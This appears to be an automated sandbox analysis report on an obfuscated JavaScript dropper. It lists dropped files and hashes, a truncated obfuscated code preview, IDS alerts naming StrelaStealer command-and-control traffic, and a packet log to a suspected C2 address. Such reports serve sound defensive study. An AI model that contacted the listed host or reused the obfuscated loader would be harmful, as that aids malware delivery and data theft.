Preview:	05-10-2023 08:41:17:.---2---..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:41:17:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\1ecca0a3-2b56-4019-b2c2-bec5a40948bc.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLaGZDwYIGNPJodpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLaGZDwZGk3mlind9i4ufFXpAXkru
MD5:	18E3D04537AF72FDBEB3760B2D10C80E
SHA1:	B313CD0B25E41E5CF0DFB83B33AB3E3C7678D5CC
SHA-256:	BBEF113A2057EE7EAC911DC960D36D4A62C262DAE5B1379257908228243BD6F4
SHA-512:	2A5B9B0A5DC98151AD2346055DF2F7BFDE62F6069A4A6A9AB3377B644D61AE31609B9FC73BEE4A0E929F84BF30DA4C1CDE628915AC37C7542FD170D12DE41298
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\6c7a5338-3419-431b-8311-d78f68173a3c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\99b4888d-95ee-4d8b-8942-22cba59c2565.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\baf72c0d-dfb7-4b4f-a764-5762c81522fe.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R077WLaGZ7wYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs03WLaGZw
MD5:	8B9FA2EC5118087D19CFDB20DA7C4C26
SHA1:	E32D6A1829B18717EF1455B73E88D36E0410EF93
SHA-256:	4782624EA3A4B3C6EB782689208148B636365AA8E5DAF00814FA9AB722259CBD
SHA-512:	662F8664CC3F4E8356D5F5794074642DB65565D40AC9FEA323E16E84EBD4F961701460A1310CC863D1AB38849E84E2142382F5DB88A0E53F97FF66248230F7B9
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	false
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (34628), with CRLF line terminators
Entropy (8bit):	4.880612281228843
TrID:
File name:	2387315401298627745.js
File size:	34'662 bytes
MD5:	40f218c066603658ed53fa895096e1ba
SHA1:	5beab3af13aea3812a27c9832210c34db2641d39
SHA256:	9aca45871f672556c2004ba8e86866e809cc77247379690183c9b3de58620de6
SHA512:	b176f49b76af61a96cf37c3971679a0f82dd0b990cbeb1fee7cb99096abb6eb53c2bccadb2bc5e06c7a7463c61be6f9e52bd2f5fa1677923fd2d025528237c56
SSDEEP:	768:34E4GbAEFv4qacb4C54E4GQI1j2+1X1jggl3VAEgO00eynVIdIFgf5ShmATRJ5sL:JvWi1B00eynVIdIFgf5Shmk5s4oim4gb
TLSH:	34F2BF2BFB6A18001DF3D46522C1D57BAA840B5DF613D0B6F94E8859882BD0D98F1EFD
File Content Preview:	function lhxqk(){wjyxteqoo=this;..wjyxteqoo[ckligg+jtija+qwfphlch+gfzheyfu](prlombr+luyobv+dxadyp+widor+cdiyd+widor+pydzd+iqbrj+ljksjv+guhyca+hcuyslvcc+ljksjv+zkxxnplx+hcuyslvcc+guhyca+fdfbsskc+fsnpncen+zkxxnplx+kjfleu+ljksjv+ekkppx+fdfbsskc+zkxxnplx+ufdd

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-15T08:41:06.079168+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.7	49699	193.143.1.205	80	TCP
2025-01-15T08:41:06.079168+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.7	49699	193.143.1.205	80	TCP
2025-01-15T08:41:08.303019+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.7	49700	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 15, 2025 08:41:05.252396107 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:05.261909962 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:05.262006998 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:05.265185118 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:05.271136999 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.079044104 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.079108000 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.079144001 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.079168081 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.079179049 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.079216003 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.079222918 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.079250097 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.079283953 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.079288006 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.079344988 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.079389095 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.079391003 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.079428911 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.079471111 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.141361952 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.141415119 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.141453981 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.141463041 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.193552971 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.201786995 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.201833963 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.201869965 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.201884985 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.201906919 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.201948881 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.207977057 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.208010912 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.208045006 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.208053112 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.208079100 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.208118916 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.214816093 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.214850903 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.214886904 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.214896917 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.214920044 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.214951992 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.214955091 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.219851017 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.219885111 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.219912052 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.219918013 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.219950914 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.219959021 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.224966049 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.224999905 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.225017071 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.227956057 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.228002071 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.260577917 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.260624886 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.260675907 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.260684013 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.260720015 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.260756969 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.265238047 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.289727926 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.289773941 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.289793015 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.322747946 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.322798014 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.322808027 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.322834969 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.322873116 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.322877884 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.323517084 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.323548079 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.323575974 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.323582888 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.323628902 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.323637962 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.323673010 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.323708057 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.323713064 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.324388027 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.324421883 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.324434996 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.324457884 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.324491024 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.324500084 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.325068951 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.325115919 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.325122118 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.325156927 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.325192928 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.325196981 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.325884104 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.325918913 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.325932980 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.325953007 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.325989008 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.326001883 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.326684952 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.326719999 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.326728106 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.326754093 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.326787949 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.326793909 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.327567101 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.327600956 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.327616930 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.327636957 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.327671051 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.327678919 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.328330040 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.328363895 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.328385115 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.328397989 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.328433990 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.328438044 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.329108953 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.329165936 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.329165936 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.329207897 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.329241037 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.329245090 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.329910040 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.329967976 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.349407911 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.349457979 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.349494934 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.349531889 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.349541903 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.349569082 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.382540941 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.382610083 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.382647038 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.382658958 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.382680893 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.382715940 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.382723093 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.382755041 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.382792950 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.411221027 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.411252975 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.411292076 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.411369085 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.411402941 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.411437988 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.411448002 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.444333076 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.444385052 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.444422007 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.444456100 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.444490910 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.444506884 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.444506884 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.444528103 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.444535017 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.445195913 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.445230007 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.445240974 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.445274115 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.445322990 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.445327044 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.445372105 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.445404053 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.445415020 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.445441961 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.445487022 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.445492029 CET	80	49699	193.143.1.205	192.168.2.7
